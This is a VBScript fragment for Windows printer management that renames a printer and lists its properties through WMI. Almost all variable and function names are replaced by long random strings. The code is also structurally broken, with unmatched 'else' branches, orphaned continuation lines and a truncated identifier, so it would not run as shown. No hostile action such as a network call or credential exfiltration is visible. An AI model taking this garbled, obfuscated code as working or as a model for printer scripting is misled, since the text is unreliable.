dim bSpUXhgdKNeaCBpMeCzMeNbmXrmrMvJWdNRerjkZUrIjIaQOjvkVLznsRnooCXpiaPgTtPwThqqjbmJQkWDeXbGlmKgXBSxetFPmMBrHCqTiPbFKVJTAvNgOtqZWSUOEXvWJVhdUAJuHqNgHWALZgfUZIZZfmPounwjXhiDYHGalGZTDVRhYOBGLDGNujjixoklFhFxA

dim QQTvdszaEjschGbgdsGuoHNHfTRidwsOIUYdZCqkUpxwpFxGpcGReKNbJxLpGLmnezpZzOlzzeFBfdtaucuVQCFbhxlQnPxVBUnByqcoORWCxLqlniFCOTpxpKJixYPDKJJAJPoYFzLGpifsAgkmIBbeHglqUPaEsSgTCxZUkqLqAtdgVGxEbxzKskLhwvPiMobCSjve

dim TvqmzQOmHipRFpIufNOpBkHbNaekFqXIPdISYxwXpqpTzXimqOnsWuTpsLStzeLaLAxAvXguLEEZHOsSRUsvCnRhVvPeGnuATfsNjdQkSCqMgHgoSMqujXrqoFzUINYlGSgwHkNfvfSbiNZqsNaHFLUUcJOSBEAfwuEmnYjsJfeATNyAvpnmNqICNSJPUHDtDWanklVc

dim strServer

dim cHswxplbeUMcXjWovjOvFkMmJLVGjwlwdxnaFecyJYOXqaduaiymjYZmylRJyXrBTphDWCLthUOzdrbzEnBlrFGHMlOrOlpJHEbXWQnjIFImBXMaQCWhANCNpJFVprkyDXNHcDCIznJbGPWtCHfLAeDplpHtIePXHfutmDohuRCXQjxVrwItzaQvFJnhBcgZHDbKieGr

dim strNewName

dim uZOeSqnEPdErmNiCoMBjsqonsqijJYiAqHTeItAcmclFxXofYBQBnhbCGChEXiZNjHYyQDdShlSbvnYwAjwLkzGCVcAUjfDfjWDVCupHtHPAzhWMrRLiuhOeLjOibJuijDiBTodeksYAscJyOvWaQIItZDzVdVbqpDacxObLAiqCRfuGsLnFHYpXXnKiKyPaExpnsRDv

dim czcAYVAsNXFiQGAWnMacXrRrzPYShigzpqcgHlwOubuxNrFZsNclUwRREWyubHBvsusugfVtGdoZiqoEuOKjQhUbMxVHPMGjqKbxGddxpJjasNLBoMFJcdxeemPqjddyuCkNVmpVDevDsbbtpFOIfFHgWRKEhClITgVNmMuLirXDAFHgTiOnowuZWMiJVlDLgZtJeMoN

QQTvdszaEjschGbgdsGuoHNHfTRidwsOIUYdZCqkUpxwpFxGpcGReKNbJxLpGLmnezpZzOlzzeFBfdtaucuVQCFbhxlQnPxVBUnByqcoORWCxLqlniFCOTpxpKJixYPDKJJAJPoYFzLGpifsAgkmIBbeHglqUPaEsSgTCxZUkqLqAtdgVGxEbxzKskLhwvPiMobCSjve = sNeYySoAEwYSaJqbTWfzwnyhGSJTttzZJfNXPHPxCLwtmBfWoJKrEOUAuRuNVwDBEwQzNJIWFTnVPndXkELeKhCDRbpXVvaANzHsclTZTFJEGHsFMWeczTTjUZxtKyMYiNoIaKgLRwLJlCBklTkvBVefIoegvdKtWOIzahNsecHuwtrxMtfAPphKXAvWRidFQTzLTweN

strServer = oParamDict.Item(kServerName)

cHswxplbeUMcXjWovjOvFkMmJLVGjwlwdxnaFecyJYOXqaduaiymjYZmylRJyXrBTphDWCLthUOzdrbzEnBlrFGHMlOrOlpJHEbXWQnjIFImBXMaQCWhANCNpJFVprkyDXNHcDCIznJbGPWtCHfLAeDplpHtIePXHfutmDohuRCXQjxVrwItzaQvFJnhBcgZHDbKieGr = oParamDict.Item(kPrinterName)

strNewName = oParamDict.Item(kNewPrinterName)

uZOeSqnEPdErmNiCoMBjsqonsqijJYiAqHTeItAcmclFxXofYBQBnhbCGChEXiZNjHYyQDdShlSbvnYwAjwLkzGCVcAUjfDfjWDVCupHtHPAzhWMrRLiuhOeLjOibJuijDiBTodeksYAscJyOvWaQIItZDzVdVbqpDacxObLAiqCRfuGsLnFHYpXXnKiKyPaExpnsRDv = oParamDict.Item(kUserName)

czcAYVAsNXFiQGAWnMacXrRrzPYShigzpqcgHlwOubuxNrFZsNclUwRREWyubHBvsusugfVtGdoZiqoEuOKjQhUbMxVHPMGjqKbxGddxpJjasNLBoMFJcdxeemPqjddyuCkNVmpVDevDsbbtpFOIfFHgWRKEhClITgVNmMuLirXDAFHgTiOnowuZWMiJVlDLgZtJeMoN = oParamDict.Item(kPassword)

if GODbGiVFNItMISPYBjuJmutwDIvSsAbmTlyqWERtnGWOdyauctelpuYdiFkFJvQlSCfowuMZlKlKNLbYkqkNTxhZOZNuyLnotQpFSZdsIBcEtqSwaZOOAtSoKPWsZftoEWRtTwTzjYzyJeulChcpjLvMYHYdgrjNlhKTuGfmGsPEMhvmToAWrPtHAsKHOQdAQYjAaTLJ(strServer, ZfzqFwgMMTQrvFChoEuQHEeThzQvWcpEGDFqPeTlsCXEhVDPdpAqClKiDVFkXVZDYEeQShUOubhUMfumpdJWvmmGpIJFkkdhDoxKWWwVJFgHUvbRLMrYRjOsZGoyjANhpcsPlbWPVoaljmLtrmoNoInbUniPkEOMfPSpbjpjnLbmDhZLWJBlhwacwQWvUYoSeULQvgXf, uZOeSqnEPdErmNiCoMBjsqonsqijJYiAqHTeItAcmclFxXofYBQBnhbCGChEXiZNjHYyQDdShlSbvnYwAjwLkzGCVcAUjfDfjWDVCupHtHPAzhWMrRLiuhOeLjOibJuijDiBTodeksYAscJyOvWaQIItZDzVdVbqpDacxObLAiqCRfuGsLnFHYpXXnKiKyPaExpnsRDv, czcAYVAsNXFiQGAWnMacXrRrzPYShigzpqcgHlwOubuxNrFZsNclUwRREWyubHBvsusugfVtGdoZiqoEuOKjQhUbMxVHPMGjqKbxGddxpJjasNLBoMFJcdxeemPqjddyuCkNVmpVDevDsbbtpFOIfFHgWRKEhClITgVNmMuLirXDAFHgTiOnowuZWMiJVlDLgZtJeMoN, bSpUXhgdKNeaCBpMeCzMeNbmXrmrMvJWdNRerjkZUrIjIaQOjvkVLznsRnooCXpiaPgTtPwThqqjbmJQkWDeXbGlmKgXBSxetFPmMBrHCqTiPbFKVJTAvNgOtqZWSUOEXvWJVhdUAJuHqNgHWALZgfUZIZZfmPounwjXhiDYHGalGZTDVRhYOBGLDGNujjixoklFhFx

set mQhnzCCpywetfacKEXiqJodVeSkRmjvpCdYhCNEwYQUWkIfPgSZqTXrPtPBryPldvcGdVINhPznQkkgzFegHCOfFXfpMgRDWgGtVMwRnUYqPLpvBpoYhSDhYVLkInFWhRLGGBAetQBPIGpkOvdZfGTctnOvvUvvvySQaybNKXfOzwkBpkzcDdtWWOSijGperBYlisBbz = bSpUXhgdKNeaCBpMeCzMeNbmXrmrMvJWdNRerjkZUrIjIaQOjvkVLznsRnooCXpiaPgTtPwThqqjbmJQkWDeXbGlmKgXBSxetFPmMBrHCqTiPbFKVJTAvNgOtqZWSUOEXvWJVhdUAJuHqNgHWALZgfUZIZZfmPounwjXhiDYHGalGZTDVRhYOBGLDGNujjixoklFhFxA.Get("Win32_Printer.DeviceID='" & cHswxplbeUMcXjWovjOvFkMmJLVGjwlwdxnaFecyJYOXqaduaiymjYZmylRJyXrBTphDWCLthUOzdrbzEnBlrFGHMlOrOlpJHEbXWQnjIFImBXMaQCWhANCNpJFVprkyDXNHcDCIznJbGPWtCHfLAeDplpHtIePXHfutmDohuRCXQjxVrwItzaQvFJnhBcgZHDbKieGr & "'")

else

RenamePrinter = sNeYySoAEwYSaJqbTWfzwnyhGSJTttzZJfNXPHPxCLwtmBfWoJKrEOUAuRuNVwDBEwQzNJIWFTnVPndXkELeKhCDRbpXVvaANzHsclTZTFJEGHsFMWeczTTjUZxtKyMYiNoIaKgLRwLJlCBklTkvBVefIoegvdKtWOIzahNsecHuwtrxMtfAPphKXAvWRidFQTzLTweN

exit function

end if

if Err.Number = NhDDsvSqMfDumohcmxkAqEgSFglBbXQKtavyRULQYTnKSxKeSVBltDOMtOLkPhtvGIJIWVDOmGaauSMugUSLEMAjIkrcHLRSKGPYPtixaWeDYXVTQVrPrCeCOaHdWdLjCaZexfaDhTLsccdMVsKnkGRHuyXSaAUQlDPdXWIBfyKCfLYWqyAYNdgffFMCcWGKgokxPziM then

TvqmzQOmHipRFpIufNOpBkHbNaekFqXIPdISYxwXpqpTzXimqOnsWuTpsLStzeLaLAxAvXguLEEZHOsSRUsvCnRhVvPeGnuATfsNjdQkSCqMgHgoSMqujXrqoFzUINYlGSgwHkNfvfSbiNZqsNaHFLUUcJOSBEAfwuEmnYjsJfeATNyAvpnmNqICNSJPUHDtDWanklVc = mQhnzCCpywetfacKEXiqJodVeSkRmjvpCdYhCNEwYQUWkIfPgSZqTXrPtPBryPldvcGdVINhPznQkkgzFegHCOfFXfpMgRDWgGtVMwRnUYqPLpvBpoYhSDhYVLkInFWhRLGGBAetQBPIGpkOvdZfGTctnOvvUvvvySQaybNKXfOzwkBpkzcDdtWWOSijGperBYlisBbz.RenamePrinter(strNewName)

if TvqmzQOmHipRFpIufNOpBkHbNaekFqXIPdISYxwXpqpTzXimqOnsWuTpsLStzeLaLAxAvXguLEEZHOsSRUsvCnRhVvPeGnuATfsNjdQkSCqMgHgoSMqujXrqoFzUINYlGSgwHkNfvfSbiNZqsNaHFLUUcJOSBEAfwuEmnYjsJfeATNyAvpnmNqICNSJPUHDtDWanklVc = NhDDsvSqMfDumohcmxkAqEgSFglBbXQKtavyRULQYTnKSxKeSVBltDOMtOLkPhtvGIJIWVDOmGaauSMugUSLEMAjIkrcHLRSKGPYPtixaWeDYXVTQVrPrCeCOaHdWdLjCaZexfaDhTLsccdMVsKnkGRHuyXSaAUQlDPdXWIBfyKCfLYWqyAYNdgffFMCcWGKgokxPziM then

wscript.echo L_Text_Msg_General01_Text & VvZgKyELJoWPVzMzmxbJeNWUMYlJeoNAoRfyLgpHeoRCFQNMhwMAmndcIxsdilAsDGheUpnZCclgPDtVzToUsyjAPXLSBgrHwzMVuyuZIJcMrUzvPCeqFQdPzqwrEMJXtYdGKmUtuqFPMoKcddfroGcsjiPuxdsBvyMIhpXxysEkWtWADCrbQcdrBPmsChjYYWoGYUqg & cHswxplbeUMcXjWovjOvFkMmJLVGjwlwdxnaFecyJYOXqaduaiymjYZmylRJyXrBTphDWCLthUOzdrbzEnBlrFGHMlOrOlpJHEbXWQnjIFImBXMaQCWhANCNpJFVprkyDXNHcDCIznJbGPWtCHfLAeDplpHtIePXHfutmDohuRCXQjxVrwItzaQvFJnhBcgZHDbKieGr

wscript.echo RfhFqMmKFdOWYeGnMLZjnIzGLYKwaSConHWNQUTapyZVghaummbmPNTWEUXUMEVmmALNjoveyPeuVFsMzrjrpXWHeCemihDbdnanNhQgaOJrJiLrzDTTtdGIrcfnBPEUbDkVrrrEJtlqMbsNbIfkxAYQxyiNVdcZJLxUcUZLDTMipZPmjzoXvOHDilktsXjBTSIxHGHS & VvZgKyELJoWPVzMzmxbJeNWUMYlJeoNAoRfyLgpHeoRCFQNMhwMAmndcIxsdilAsDGheUpnZCclgPDtVzToUsyjAPXLSBgrHwzMVuyuZIJcMrUzvPCeqFQdPzqwrEMJXtYdGKmUtuqFPMoKcddfroGcsjiPuxdsBvyMIhpXxysEkWtWADCrbQcdrBPmsChjYYWoGYUqg & strNewName

QQTvdszaEjschGbgdsGuoHNHfTRidwsOIUYdZCqkUpxwpFxGpcGReKNbJxLpGLmnezpZzOlzzeFBfdtaucuVQCFbhxlQnPxVBUnByqcoORWCxLqlniFCOTpxpKJixYPDKJJAJPoYFzLGpifsAgkmIBbeHglqUPaEsSgTCxZUkqLqAtdgVGxEbxzKskLhwvPiMobCSjve = NhDDsvSqMfDumohcmxkAqEgSFglBbXQKtavyRULQYTnKSxKeSVBltDOMtOLkPhtvGIJIWVDOmGaauSMugUSLEMAjIkrcHLRSKGPYPtixaWeDYXVTQVrPrCeCOaHdWdLjCaZexfaDhTLsccdMVsKnkGRHuyXSaAUQlDPdXWIBfyKCfLYWqyAYNdgffFMCcWGKgokxPziM

else

wscript.echo L_Text_Msg_General03_Text & VvZgKyELJoWPVzMzmxbJeNWUMYlJeoNAoRfyLgpHeoRCFQNMhwMAmndcIxsdilAsDGheUpnZCclgPDtVzToUsyjAPXLSBgrHwzMVuyuZIJcMrUzvPCeqFQdPzqwrEMJXtYdGKmUtuqFPMoKcddfroGcsjiPuxdsBvyMIhpXxysEkWtWADCrbQcdrBPmsChjYYWoGYUqg & cHswxplbeUMcXjWovjOvFkMmJLVGjwlwdxnaFecyJYOXqaduaiymjYZmylRJyXrBTphDWCLthUOzdrbzEnBlrFGHMlOrOlpJHEbXWQnjIFImBXMaQCWhANCNpJFVprkyDXNHcDCIznJbGPWtCHfLAeDplpHtIePXHfutmDohuRCXQjxVrwItzaQvFJnhBcgZHDbKieGr & VvZgKyELJoWPVzMzmxbJeNWUMYlJeoNAoRfyLgpHeoRCFQNMhwMAmndcIxsdilAsDGheUpnZCclgPDtVzToUsyjAPXLSBgrHwzMVuyuZIJcMrUzvPCeqFQdPzqwrEMJXtYdGKmUtuqFPMoKcddfroGcsjiPuxdsBvyMIhpXxysEkWtWADCrbQcdrBPmsChjYYWoGYUqg _

& L_Text_Error_General03_Text & VvZgKyELJoWPVzMzmxbJeNWUMYlJeoNAoRfyLgpHeoRCFQNMhwMAmndcIxsdilAsDGheUpnZCclgPDtVzToUsyjAPXLSBgrHwzMVuyuZIJcMrUzvPCeqFQdPzqwrEMJXtYdGKmUtuqFPMoKcddfroGcsjiPuxdsBvyMIhpXxysEkWtWADCrbQcdrBPmsChjYYWoGYUqg & TvqmzQOmHipRFpIufNOpBkHbNaekFqXIPdISYxwXpqpTzXimqOnsWuTpsLStzeLaLAxAvXguLEEZHOsSRUsvCnRhVvPeGnuATfsNjdQkSCqMgHgoSMqujXrqoFzUINYlGSgwHkNfvfSbiNZqsNaHFLUUcJOSBEAfwuEmnYjsJfeATNyAvpnmNqICNSJPUHDtDWanklVc

end if

else

wscript.echo L_Text_Msg_General04_Text & VvZgKyELJoWPVzMzmxbJeNWUMYlJeoNAoRfyLgpHeoRCFQNMhwMAmndcIxsdilAsDGheUpnZCclgPDtVzToUsyjAPXLSBgrHwzMVuyuZIJcMrUzvPCeqFQdPzqwrEMJXtYdGKmUtuqFPMoKcddfroGcsjiPuxdsBvyMIhpXxysEkWtWADCrbQcdrBPmsChjYYWoGYUqg & cHswxplbeUMcXjWovjOvFkMmJLVGjwlwdxnaFecyJYOXqaduaiymjYZmylRJyXrBTphDWCLthUOzdrbzEnBlrFGHMlOrOlpJHEbXWQnjIFImBXMaQCWhANCNpJFVprkyDXNHcDCIznJbGPWtCHfLAeDplpHtIePXHfutmDohuRCXQjxVrwItzaQvFJnhBcgZHDbKieGr & VvZgKyELJoWPVzMzmxbJeNWUMYlJeoNAoRfyLgpHeoRCFQNMhwMAmndcIxsdilAsDGheUpnZCclgPDtVzToUsyjAPXLSBgrHwzMVuyuZIJcMrUzvPCeqFQdPzqwrEMJXtYdGKmUtuqFPMoKcddfroGcsjiPuxdsBvyMIhpXxysEkWtWADCrbQcdrBPmsChjYYWoGYUqg _

& Err.Description

end if

else

& Err.Description

call LastError()

end if

RenamePrinter = QQTvdszaEjschGbgdsGuoHNHfTRidwsOIUYdZCqkUpxwpFxGpcGReKNbJxLpGLmnezpZzOlzzeFBfdtaucuVQCFbhxlQnPxVBUnByqcoORWCxLqlniFCOTpxpKJixYPDKJJAJPoYFzLGpifsAgkmIBbeHglqUPaEsSgTCxZUkqLqAtdgVGxEbxzKskLhwvPiMobCSjve

end function

function GetPrinter(oParamDict)

on error resume next

YDNlyqDGXoCtzekpVeitNUsBfQzIPCseYOFEXXtCmQeLqiUreqooisfrFMYZtnZFNqNiwphnCviAqtkYJhYxxlQQIJIuYlvevEjDASXgCktwuHDUTkGsIaYHLTFYoXZjlQLYYPwvVVibuSaBNRtRHgqBplbPjKiEIKbQmPjWkgAJLdscKnRTWixmHoWmUJEAhJsBEqWd ABSSLinVpNXWjXDBTdypQGsRvhQLmUKdQDyTTVeXOFXolguReCeXxPIkNyMioeVFtkBXEPcGdaFMrAxXclMHVEBvHgfLJmhPonXcrfeMjjFMoCtXwLFhNGYhjnXLkorCWxaTnttZsHXQbseVHnUxVyNuQeEjBQQMAoocHKNaCYFWQEZkkbaUpEnXIAEyvDOdWqnKPXFw, VmKOffTvYHHkaXeCsqpDGxwDGmAvOlFqskdwyAstxqzObHuuzWWAQduNelBucvsXMTzwrAXdwnIMjCMOXgKtvuyuKwQvZemeUgnnugmajzlUDIudQXIujjoSSLnzTUMcuwWlzFAOjYNULqCCwymjZtKkocXiCqZLhpDitjrqdqGqFnzCmVxnqPJrEfPKbGjtudvaLldt & VvZgKyELJoWPVzMzmxbJeNWUMYlJeoNAoRfyLgpHeoRCFQNMhwMAmndcIxsdilAsDGheUpnZCclgPDtVzToUsyjAPXLSBgrHwzMVuyuZIJcMrUzvPCeqFQdPzqwrEMJXtYdGKmUtuqFPMoKcddfroGcsjiPuxdsBvyMIhpXxysEkWtWADCrbQcdrBPmsChjYYWoGYUqg & oParamDict.Item(kServerName)

YDNlyqDGXoCtzekpVeitNUsBfQzIPCseYOFEXXtCmQeLqiUreqooisfrFMYZtnZFNqNiwphnCviAqtkYJhYxxlQQIJIuYlvevEjDASXgCktwuHDUTkGsIaYHLTFYoXZjlQLYYPwvVVibuSaBNRtRHgqBplbPjKiEIKbQmPjWkgAJLdscKnRTWixmHoWmUJEAhJsBEqWd ABSSLinVpNXWjXDBTdypQGsRvhQLmUKdQDyTTVeXOFXolguReCeXxPIkNyMioeVFtkBXEPcGdaFMrAxXclMHVEBvHgfLJmhPonXcrfeMjjFMoCtXwLFhNGYhjnXLkorCWxaTnttZsHXQbseVHnUxVyNuQeEjBQQMAoocHKNaCYFWQEZkkbaUpEnXIAEyvDOdWqnKPXFw, cHbDhlyYvUcfaqnMthMtAoPmmHZuGtODexZdmOCbckDUxzfWudpSeXjjOKvsXITQMkUXgbeLMhwXzAyzudgoJjWYqQZjXjdXrXAzcqXacWyyHqphrndScAAINRnTfeGXPpFVpTvcPFDLymHmgmMYOGHzRnbeGhvIqoKsNQFJsRCuoDvJTUJygHBXPUuxeOQQQifPfcKm & VvZgKyELJoWPVzMzmxbJeNWUMYlJeoNAoRfyLgpHeoRCFQNMhwMAmndcIxsdilAsDGheUpnZCclgPDtVzToUsyjAPXLSBgrHwzMVuyuZIJcMrUzvPCeqFQdPzqwrEMJXtYdGKmUtuqFPMoKcddfroGcsjiPuxdsBvyMIhpXxysEkWtWADCrbQcdrBPmsChjYYWoGYUqg & oParamDict.Item(kPrinterName)

dim strServer

dim strAttributes

dim strStart

dim strEnd

strServer = oParamDict.Item(kServerName)

set mQhnzCCpywetfacKEXiqJodVeSkRmjvpCdYhCNEwYQUWkIfPgSZqTXrPtPBryPldvcGdVINhPznQkkgzFegHCOfFXfpMgRDWgGtVMwRnUYqPLpvBpoYhSDhYVLkInFWhRLGGBAetQBPIGpkOvdZfGTctnOvvUvvvySQaybNKXfOzwkBpkzcDdtWWOSijGperBYlisBbz = bSpUXhgdKNeaCBpMeCzMeNbmXrmrMvJWdNRerjkZUrIjIaQOjvkVLznsRnooCXpiaPgTtPwThqqjbmJQkWDeXbGlmKgXBSxetFPmMBrHCqTiPbFKVJTAvNgOtqZWSUOEXvWJVhdUAJuHqNgHWALZgfUZIZZfmPounwjXhiDYHGalGZTDVRhYOBGLDGNujjixoklFhFxA.Get("Win32_Printer='" & cHswxplbeUMcXjWovjOvFkMmJLVGjwlwdxnaFecyJYOXqaduaiymjYZmylRJyXrBTphDWCLthUOzdrbzEnBlrFGHMlOrOlpJHEbXWQnjIFImBXMaQCWhANCNpJFVprkyDXNHcDCIznJbGPWtCHfLAeDplpHtIePXHfutmDohuRCXQjxVrwItzaQvFJnhBcgZHDbKieGr & "'")

else

GetPrinter = sNeYySoAEwYSaJqbTWfzwnyhGSJTttzZJfNXPHPxCLwtmBfWoJKrEOUAuRuNVwDBEwQzNJIWFTnVPndXkELeKhCDRbpXVvaANzHsclTZTFJEGHsFMWeczTTjUZxtKyMYiNoIaKgLRwLJlCBklTkvBVefIoegvdKtWOIzahNsecHuwtrxMtfAPphKXAvWRidFQTzLTweN

exit function

end if

wscript.echo VmKOffTvYHHkaXeCsqpDGxwDGmAvOlFqskdwyAstxqzObHuuzWWAQduNelBucvsXMTzwrAXdwnIMjCMOXgKtvuyuKwQvZemeUgnnugmajzlUDIudQXIujjoSSLnzTUMcuwWlzFAOjYNULqCCwymjZtKkocXiCqZLhpDitjrqdqGqFnzCmVxnqPJrEfPKbGjtudvaLldt & VvZgKyELJoWPVzMzmxbJeNWUMYlJeoNAoRfyLgpHeoRCFQNMhwMAmndcIxsdilAsDGheUpnZCclgPDtVzToUsyjAPXLSBgrHwzMVuyuZIJcMrUzvPCeqFQdPzqwrEMJXtYdGKmUtuqFPMoKcddfroGcsjiPuxdsBvyMIhpXxysEkWtWADCrbQcdrBPmsChjYYWoGYUqg & strServer

wscript.echo cHbDhlyYvUcfaqnMthMtAoPmmHZuGtODexZdmOCbckDUxzfWudpSeXjjOKvsXITQMkUXgbeLMhwXzAyzudgoJjWYqQZjXjdXrXAzcqXacWyyHqphrndScAAINRnTfeGXPpFVpTvcPFDLymHmgmMYOGHzRnbeGhvIqoKsNQFJsRCuoDvJTUJygHBXPUuxeOQQQifPfcKm & VvZgKyELJoWPVzMzmxbJeNWUMYlJeoNAoRfyLgpHeoRCFQNMhwMAmndcIxsdilAsDGheUpnZCclgPDtVzToUsyjAPXLSBgrHwzMVuyuZIJcMrUzvPCeqFQdPzqwrEMJXtYdGKmUtuqFPMoKcddfroGcsjiPuxdsBvyMIhpXxysEkWtWADCrbQcdrBPmsChjYYWoGYUqg & mQhnzCCpywetfacKEXiqJodVeSkRmjvpCdYhCNEwYQUWkIfPgSZqTXrPtPBryPldvcGdVINhPznQkkgzFegHCOfFXfpMgRDWgGtVMwRnUYqPLpvBpoYhSDhYVLkInFWhRLGGBAetQBPIGpkOvdZfGTctnOvvUvvvySQaybNKXfOzwkBpkzcDdtWWOSijGperBYlisBbz.DeviceID

wscript.echo L_Text_Msg_Printer03_Text & VvZgKyELJoWPVzMzmxbJeNWUMYlJeoNAoRfyLgpHeoRCFQNMhwMAmndcIxsdilAsDGheUpnZCclgPDtVzToUsyjAPXLSBgrHwzMVuyuZIJcMrUzvPCeqFQdPzqwrEMJXtYdGKmUtuqFPMoKcddfroGcsjiPuxdsBvyMIhpXxysEkWtWADCrbQcdrBPmsChjYYWoGYUqg & mQhnzCCpywetfacKEXiqJodVeSkRmjvpCdYhCNEwYQUWkIfPgSZqTXrPtPBryPldvcGdVINhPznQkkgzFegHCOfFXfpMgRDWgGtVMwRnUYqPLpvBpoYhSDhYVLkInFWhRLGGBAetQBPIGpkOvdZfGTctnOvvUvvvySQaybNKXfOzwkBpkzcDdtWWOSijGperBYlisBbz.ShareName

wscript.echo XorTVIXAFMyOyBvldtCYPjhhBeZnjsFoTeOilEQkFwJOByTbaDLxIXmFmZyYghuAdInxSwfzqTTVegqNLQWelyNlTBjzqkRQanDbbYMEBzCwflGWBJmHjLRgMZfKTvMsjzBRmWNdRSEcaCpJkvYEOKNNOpCsPAezUPxIBloDvGMKvLeAjhUeFEgveXRzxeSgnmtvWwZm & VvZgKyELJoWPVzMzmxbJeNWUMYlJeoNAoRfyLgpHeoRCFQNMhwMAmndcIxsdilAsDGheUpnZCclgPDtVzToUsyjAPXLSBgrHwzMVuyuZIJcMrUzvPCeqFQdPzqwrEMJXtYdGKmUtuqFPMoKcddfroGcsjiPuxdsBvyMIhpXxysEkWtWADCrbQcdrBPmsChjYYWoGYUqg & mQhnzCCpywetfacKEXiqJodVeSkRmjvpCdYhCNEwYQUWkIfPgSZqTXrPtPBryPldvcGdVINhPznQkkgzFegHCOfFXfpMgRDWgGtVMwRnUYqPLpvBpoYhSDhYVLkInFWhRLGGBAetQBPIGpkOvdZfGTctnOvvUvvvySQaybNKXfOzwkBpkzcDdtWWOSijGperBYlisBbz.DriverName

wscript.echo wUxLqWSonLGfpVQbGvLQbczdILaiHZeIeCxKLkspdtGKpwDPhMvFbIDjrMPSaFMIBjaUmdYQjOoCKnDLriJtoyaYtURwqDORJOSOigeCrshEBUSBZkyguBhsDTPdDZKVxXxZhAZXSZPRKPxcKUCKfTXJlplKjgvWCqrybHgFSdjYQxUxdIMZawBrOdhyshswjKyuYXHa & VvZgKyELJoWPVzMzmxbJeNWUMYlJeoNAoRfyLgpHeoRCFQNMhwMAmndcIxsdilAsDGheUpnZCclgPDtVzToUsyjAPXLSBgrHwzMVuyuZIJcMrUzvPCeqFQdPzqwrEMJXtYdGKmUtuqFPMoKcddfroGcsjiPuxdsBvyMIhpXxysEkWtWADCrbQcdrBPmsChjYYWoGYUqg & mQhnzCCpywetfacKEXiqJodVeSkRmjvpCdYhCNEwYQUWkIfPgSZqTXrPtPBryPldvcGdVINhPznQkkgzFegHCOfFXfpMgRDWgGtVMwRnUYqPLpvBpoYhSDhYVLkInFWhRLGGBAetQBPIGpkOvdZfGTctnOvvUvvvySQaybNKXfOzwkBpkzcDdtWWOSijGperBYlisBbz.PortName

wscript.echo L_Text_Msg_Printer06_Text & VvZgKyELJoWPVzMzmxbJeNWUMYlJeoNAoRfyLgpHeoRCFQNMhwMAmndcIxsdilAsDGheUpnZCclgPDtVzToUsyjAPXLSBgrHwzMVuyuZIJcMrUzvPCeqFQdPzqwrEMJXtYdGKmUtuqFPMoKcddfroGcsjiPuxdsBvyMIhpXxysEkWtWADCrbQcdrBPmsChjYYWoGYUqg & mQhnzCCpywetfacKEXiqJodVeSkRmjvpCdYhCNEwYQUWkIfPgSZqTXrPtPBryPldvcGdVINhPznQkkgzFegHCOfFXfpMgRDWgGtVMwRnUYqPLpvBpoYhSDhYVLkInFWhRLGGBAetQBPIGpkOvdZfGTctnOvvUvvvySQaybNKXfOzwkBpkzcDdtWWOSijGperBYlisBbz.Comment

wscript.echo L_Text_Msg_Printer07_Text & VvZgKyELJoWPVzMzmxbJeNWUMYlJeoNAoRfyLgpHeoRCFQNMhwMAmndcIxsdilAsDGheUpnZCclgPDtVzToUsyjAPXLSBgrHwzMVuyuZIJcMrUzvPCeqFQdPzqwrEMJXtYdGKmUtuqFPMoKcddfroGcsjiPuxdsBvyMIhpXxysEkWtWADCrbQcdrBPmsChjYYWoGYUqg & mQhnzCCpywetfacKEXiqJodVeSkRmjvpCdYhCNEwYQUWkIfPgSZqTXrPtPBryPldvcGdVINhPznQkkgzFegHCOfFXfpMgRDWgGtVMwRnUYqPLpvBpoYhSDhYVLkInFWhRLGGBAetQBPIGpkOvdZfGTctnOvvUvvvySQaybNKXfOzwkBpkzcDdtWWOSijGperBYlisBbz.Location

wscript.echo L_Text_Msg_Printer08_Text & VvZgKyELJoWPVzMzmxbJeNWUMYlJeoNAoRfyLgpHeoRCFQNMhwMAmndcIxsdilAsDGheUpnZCclgPDtVzToUsyjAPXLSBgrHwzMVuyuZIJcMrUzvPCeqFQdPzqwrEMJXtYdGKmUtuqFPMoKcddfroGcsjiPuxdsBvyMIhpXxysEkWtWADCrbQcdrBPmsChjYYWoGYUqg & mQhnzCCpywetfacKEXiqJodVeSkRmjvpCdYhCNEwYQUWkIfPgSZqTXrPtPBryPldvcGdVINhPznQkkgzFegHCOfFXfpMgRDWgGtVMwRnUYqPLpvBpoYhSDhYVLkInFWhRLGGBAetQBPIGpkOvdZfGTctnOvvUvvvySQaybNKXfOzwkBpkzcDdtWWOSijGperBYlisBbz.SeparatorFile

wscript.echo L_Text_Msg_Printer09_Text & VvZgKyELJoWPVzMzmxbJeNWUMYlJeoNAoRfyLgpHeoRCFQNMhwMAmndcIxsdilAsDGheUpnZCclgPDtVzToUsyjAPXLSBgrHwzMVuyuZIJcMrUzvPCeqFQdPzqwrEMJXtYdGKmUtuqFPMoKcddfroGcsjiPuxdsBvyMIhpXxysEkWtWADCrbQcdrBPmsChjYYWoGYUqg & mQhnzCCpywetfacKEXiqJodVeSkRmjvpCdYhCNEwYQUWkIfPgSZqTXrPtPBryPldvcGdVINhPznQkkgzFegHCOfFXfpMgRDWgGtVMwRnUYqPLpvBpoYhSDhYVLkInFWhRLGGBAetQBPIGpkOvdZfGTctnOvvUvvvySQaybNKXfOzwkBpkzcDdtWWOSijGperBYlisBbz.PrintProcessor

wscript.echo L_Text_Msg_Printer10_Text & VvZgKyELJoWPVzMzmxbJeNWUMYlJeoNAoRfyLgpHeoRCFQNMhwMAmndcIxsdilAsDGheUpnZCclgPDtVzToUsyjAPXLSBgrHwzMVuyuZIJcMrUzvPCeqFQdPzqwrEMJXtYdGKmUtuqFPMoKcddfroGcsjiPuxdsBvyMIhpXxysEkWtWADCrbQcdrBPmsChjYYWoGYUqg & mQhnzCCpywetfacKEXiqJodVeSkRmjvpCdYhCNEwYQUWkIfPgSZqTXrPtPBryPldvcGdVINhPznQkkgzFegHCOfFXfpMgRDWgGtVMwRnUYqPLpvBpoYhSDhYVLkInFWhRLGGBAetQBPIGpkOvdZfGTctnOvvUvvvySQaybNKXfOzwkBpkzcDdtWWOSijGperBYlisBbz.PrintJobDatatype

